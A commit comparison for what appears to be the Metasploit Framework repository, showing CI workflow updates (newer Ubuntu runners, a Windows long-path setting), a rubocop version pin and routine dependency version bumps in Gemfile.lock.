Compare commits
152 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2e842179b7 | |||
| 50edfae989 | |||
| 413c1931f7 | |||
| b51b29959d | |||
| 9917f574c0 | |||
| 902fd656cb | |||
| 70e7d980ef | |||
| 58adf02b0c | |||
| e484855c05 | |||
| 5305e04891 | |||
| f8760a9e3b | |||
| d4fd890fed | |||
| ef79506bcc | |||
| 741a222e9a | |||
| 76289d9691 | |||
| c382de881b | |||
| 9961bfbc58 | |||
| 84012fd60c | |||
| 0ca2599f48 | |||
| d47ec03ca7 | |||
| cf08a4e533 | |||
| 82f07c171b | |||
| a1093b093a | |||
| 557b2c70c6 | |||
| b228e3bf87 | |||
| a5edf5bbd1 | |||
| 7603b5d2d4 | |||
| 661ac23d72 | |||
| f3d644cd84 | |||
| 1ca57c86fc | |||
| e341398871 | |||
| 44bdc5b44f | |||
| 281b728000 | |||
| 992b01b394 | |||
| da00168057 | |||
| 196d95b2bf | |||
| edb47d968c | |||
| 233c710d82 | |||
| 787205e69b | |||
| c3ffdb12f5 | |||
| ef638ae104 | |||
| 37e92f76f3 | |||
| f6c8b98bd6 | |||
| 04842eaaee | |||
| 4422cb53eb | |||
| 4004c1f215 | |||
| 0116d0c04b | |||
| b43dc8be08 | |||
| 5e3953e53e | |||
| 7950d866f3 | |||
| dbce82416c | |||
| 95e8b31d4b | |||
| 03b90701cd | |||
| 03277a486f | |||
| c698979dd3 | |||
| c62f04109b | |||
| 8604c72ef4 | |||
| 8102bed3b7 | |||
| 1bea1baba0 | |||
| 58fbf9e924 | |||
| 7a1892e6e7 | |||
| fa4dd1d420 | |||
| bf5ae87a3d | |||
| 2422f8b67b | |||
| f2bcf34d51 | |||
| f12ddc7252 | |||
| f2e29a326e | |||
| 112b8f5ece | |||
| 8d3d8d8662 | |||
| d626886250 | |||
| 91f1db308d | |||
| 54465f30f2 | |||
| daf5e1cfeb | |||
| 8d7bbdd84f | |||
| 59b862ce35 | |||
| b1d0eedc26 | |||
| b0fec4ebd7 | |||
| 4d57710d92 | |||
| b94418a863 | |||
| eef2e4c26c | |||
| 60e9cae636 | |||
| b1b8ad376e | |||
| c9421a65cc | |||
| 3c4d0aae2f | |||
| 47351e4959 | |||
| 94fcda9eb6 | |||
| 65d2b6380b | |||
| 5cc5563625 | |||
| 77c3ce52e0 | |||
| 316ecd4d04 | |||
| ee89d10886 | |||
| 7a5ff2a360 | |||
| 57e3045b57 | |||
| 8ac44d55cd | |||
| b4ca537785 | |||
| b3602b2ade | |||
| df9efe382d | |||
| df8b0de0c8 | |||
| 258b8aaea2 | |||
| 0017fbdf56 | |||
| acd692e139 | |||
| 810e7c4518 | |||
| d2dd9a6d8f | |||
| 62b8ded001 | |||
| 149c442d70 | |||
| 36b13f5be7 | |||
| db76de2401 | |||
| 2fd05115c8 | |||
| 11818c2812 | |||
| b8429cb3e8 | |||
| 97adc2755d | |||
| e159ea5300 | |||
| c9afd440f8 | |||
| 29cb4416ed | |||
| d9c2ed82fd | |||
| 40726d1859 | |||
| 4d4b88c94e | |||
| df8ad37dde | |||
| e689d85c92 | |||
| da06e5ad90 | |||
| b328d3f318 | |||
| 1bb9fc94ec | |||
| 4bb8c30180 | |||
| 66f49c25bd | |||
| e024c115f3 | |||
| 2e3661a07b | |||
| 262e4b8c13 | |||
| 851beb77b0 | |||
| 25cb21908a | |||
| c6e3df85bb | |||
| 7badd24b72 | |||
| 4c7d1d8079 | |||
| ad44afee01 | |||
| a11616d189 | |||
| 556e52d1d2 | |||
| 335825a020 | |||
| c2495aff58 | |||
| 0a45480c49 | |||
| 6054d7c5ce | |||
| d52874ac46 | |||
| 6ec6909850 | |||
| a8a782eb2e | |||
| fd3f313c64 | |||
| 03a4acf7d0 | |||
| 76c29831fa | |||
| 2d7985b511 | |||
| 5dd55f0af4 | |||
| 80d15ae86d | |||
| 9ccc0a3070 | |||
| cde660065c | |||
| 61705db8be | |||
| b9c8c63501 |
@@ -64,7 +64,7 @@ jobs:
|
||||
matrix:
|
||||
os:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
ruby:
|
||||
- '3.2'
|
||||
include:
|
||||
@@ -73,7 +73,7 @@ jobs:
|
||||
- { command_shell: { name: powershell }, os: windows-2022 }
|
||||
|
||||
# Linux
|
||||
- { command_shell: { name: linux }, os: ubuntu-20.04 }
|
||||
- { command_shell: { name: linux }, os: ubuntu-latest }
|
||||
|
||||
# CMD
|
||||
- { command_shell: { name: cmd }, os: windows-2019 }
|
||||
@@ -126,6 +126,11 @@ jobs:
|
||||
with:
|
||||
path: metasploit-framework
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
@@ -175,6 +180,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -45,6 +45,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
|
||||
@@ -72,6 +72,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -121,6 +126,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -138,6 +143,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -80,6 +80,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -137,6 +142,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -139,6 +144,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -69,12 +69,12 @@ jobs:
|
||||
os:
|
||||
- macos-13
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
ruby:
|
||||
- '3.2'
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
- { name: python, runtime_version: 3.8 }
|
||||
- { name: python, runtime_version: 3.11 }
|
||||
|
||||
# Java
|
||||
@@ -92,7 +92,7 @@ jobs:
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-13 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-latest }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
@@ -190,6 +190,11 @@ jobs:
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
@@ -344,6 +349,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -74,6 +74,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -143,6 +148,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -64,7 +64,6 @@ jobs:
|
||||
- '3.3'
|
||||
- '3.4'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
@@ -89,6 +88,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
|
||||
@@ -37,8 +37,8 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
# Required during CI as well local development
|
||||
gem 'rubocop'
|
||||
# Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read'
|
||||
gem 'rubocop', '1.67.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+112
-113
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.52)
|
||||
metasploit-framework (6.4.54)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
@@ -71,7 +71,7 @@ PATH
|
||||
pg
|
||||
puma
|
||||
railties
|
||||
rasn1 (= 0.13.0)
|
||||
rasn1 (= 0.14.0)
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
@@ -118,29 +118,29 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.1)
|
||||
Ascii85 (2.0.1)
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
actionpack (7.0.8.6)
|
||||
actionview (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
actionpack (7.0.8.7)
|
||||
actionview (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
actionview (7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activerecord (7.0.8.6)
|
||||
activemodel (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activesupport (7.0.8.6)
|
||||
activemodel (7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
activerecord (7.0.8.7)
|
||||
activemodel (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
activesupport (7.0.8.7)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
@@ -148,54 +148,54 @@ GEM
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.24.5)
|
||||
allure-ruby-commons (= 2.24.5)
|
||||
allure-rspec (2.26.0)
|
||||
allure-ruby-commons (= 2.26.0)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.24.5)
|
||||
allure-ruby-commons (2.26.0)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
uuid (>= 2.3, < 3)
|
||||
arel-helpers (2.15.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
arel-helpers (2.16.0)
|
||||
activerecord (>= 3.1.0, < 8.1)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.999.0)
|
||||
aws-sdk-core (3.211.0)
|
||||
aws-eventstream (1.3.2)
|
||||
aws-partitions (1.1065.0)
|
||||
aws-sdk-core (3.220.1)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.992.0)
|
||||
aws-sigv4 (~> 1.9)
|
||||
base64
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.486.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2 (1.511.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ec2instanceconnect (1.52.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2instanceconnect (1.55.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-iam (1.112.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-iam (1.119.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-kms (1.95.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-kms (1.99.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-s3 (1.169.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-s3 (1.182.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ssm (1.183.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ssm (1.191.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (1.10.1)
|
||||
aws-sigv4 (1.11.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
benchmark (0.4.0)
|
||||
bigdecimal (3.1.8)
|
||||
bigdecimal (3.1.9)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (5.0.1)
|
||||
bson (5.0.2)
|
||||
builder (3.3.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
@@ -203,14 +203,16 @@ GEM
|
||||
concurrent-ruby (1.3.4)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
csv (3.3.2)
|
||||
daemons (1.4.1)
|
||||
date (3.4.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.2)
|
||||
diff-lcs (1.6.0)
|
||||
dnsruby (1.72.4)
|
||||
base64 (~> 0.2.0)
|
||||
logger (~> 1.6.5)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
@@ -227,10 +229,10 @@ GEM
|
||||
em-socksify (0.3.3)
|
||||
base64
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.13.0)
|
||||
erubi (1.13.1)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.5.0)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot (6.5.1)
|
||||
activesupport (>= 6.1.0)
|
||||
factory_bot_rails (6.4.4)
|
||||
factory_bot (~> 6.5)
|
||||
railties (>= 5.0.0)
|
||||
@@ -261,38 +263,37 @@ GEM
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.7)
|
||||
http-cookie (1.0.8)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.6)
|
||||
httpclient (2.9.0)
|
||||
mutex_m
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.7.2)
|
||||
io-console (0.8.0)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.7.5)
|
||||
language_server-protocol (3.17.0.3)
|
||||
json (2.10.2)
|
||||
language_server-protocol (3.17.0.4)
|
||||
little-plugger (1.1.4)
|
||||
logger (1.6.1)
|
||||
logger (1.6.6)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.23.1)
|
||||
loofah (2.24.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
systemu (~> 2.6.5)
|
||||
memory_profiler (1.1.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.3)
|
||||
metasploit-concern (5.0.4)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.11)
|
||||
metasploit-credential (6.0.12)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -322,17 +323,17 @@ GEM
|
||||
mime-types (3.6.0)
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2024.1001)
|
||||
mime-types-data (3.2025.0304)
|
||||
mini_portile2 (2.8.8)
|
||||
minitest (5.25.1)
|
||||
minitest (5.25.5)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.3)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.2.0)
|
||||
mutex_m (0.3.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.5.0)
|
||||
net-imap (0.5.6)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.19.0)
|
||||
@@ -340,13 +341,13 @@ GEM
|
||||
timeout
|
||||
net-sftp (4.0.0)
|
||||
net-ssh (>= 5.0.0, < 8.0.0)
|
||||
net-smtp (0.5.0)
|
||||
net-smtp (0.5.1)
|
||||
net-protocol
|
||||
net-ssh (7.3.0)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.18.2)
|
||||
nokogiri (1.18.3)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.7.1)
|
||||
@@ -361,13 +362,13 @@ GEM
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.26.3)
|
||||
parser (3.3.5.0)
|
||||
parser (3.3.7.1)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.3)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
pdf-reader (2.14.1)
|
||||
Ascii85 (>= 1.0, < 3.0, != 2.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
@@ -380,97 +381,97 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (6.0.1)
|
||||
puma (6.4.3)
|
||||
puma (6.6.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.8.1)
|
||||
rack (2.2.10)
|
||||
rack (2.2.13)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack-test (2.2.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.2.0)
|
||||
activesupport (>= 5.0.0)
|
||||
minitest
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
rails-html-sanitizer (1.6.2)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8.6)
|
||||
actionpack (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
|
||||
railties (7.0.8.7)
|
||||
actionpack (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
rasn1 (0.14.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.11)
|
||||
recog (3.1.14)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.9.2)
|
||||
reline (0.5.10)
|
||||
redcarpet (3.6.1)
|
||||
regexp_parser (2.10.0)
|
||||
reline (0.6.0)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.16)
|
||||
rex-arch (0.1.18)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.9)
|
||||
rex-bin_tools (0.1.10)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
rex-encoder (0.1.8)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.40)
|
||||
rex-exploitation (0.1.41)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.7)
|
||||
rex-mime (0.1.8)
|
||||
rex-java (0.1.8)
|
||||
rex-mime (0.1.11)
|
||||
rex-text
|
||||
rex-nop (0.1.3)
|
||||
rex-nop (0.1.4)
|
||||
rex-arch
|
||||
rex-ole (0.1.8)
|
||||
rex-ole (0.1.9)
|
||||
rex-text
|
||||
rex-powershell (0.1.100)
|
||||
rex-powershell (0.1.101)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.13)
|
||||
rex-random_identifier (0.1.15)
|
||||
rex-text
|
||||
rex-registry (0.1.5)
|
||||
rex-rop_builder (0.1.5)
|
||||
rex-registry (0.1.6)
|
||||
rex-rop_builder (0.1.6)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.58)
|
||||
rex-socket (0.1.59)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-sslscan (0.1.11)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.59)
|
||||
rex-zip (0.1.5)
|
||||
rex-struct2 (0.1.5)
|
||||
rex-text (0.2.60)
|
||||
rex-zip (0.1.6)
|
||||
rex-text
|
||||
rexml (3.3.9)
|
||||
rexml (3.4.1)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.2)
|
||||
rspec-core (3.13.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
@@ -478,7 +479,7 @@ GEM
|
||||
rspec-mocks (3.13.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (7.0.1)
|
||||
rspec-rails (7.1.1)
|
||||
actionpack (>= 7.0)
|
||||
activesupport (>= 7.0)
|
||||
railties (>= 7.0)
|
||||
@@ -488,7 +489,7 @@ GEM
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.13.1)
|
||||
rspec-support (3.13.2)
|
||||
rubocop (1.67.0)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
@@ -499,10 +500,10 @@ GEM
|
||||
rubocop-ast (>= 1.32.2, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.33.0)
|
||||
rubocop-ast (1.38.1)
|
||||
parser (>= 3.3.1.0)
|
||||
ruby-macho (4.1.0)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-mysql (4.2.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
@@ -515,7 +516,7 @@ GEM
|
||||
windows_error (>= 0.1.4)
|
||||
rubyntlm (0.6.5)
|
||||
base64
|
||||
rubyzip (2.3.2)
|
||||
rubyzip (2.4.1)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
@@ -534,30 +535,28 @@ GEM
|
||||
sshkey (3.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.4.2)
|
||||
test-prof (1.4.4)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
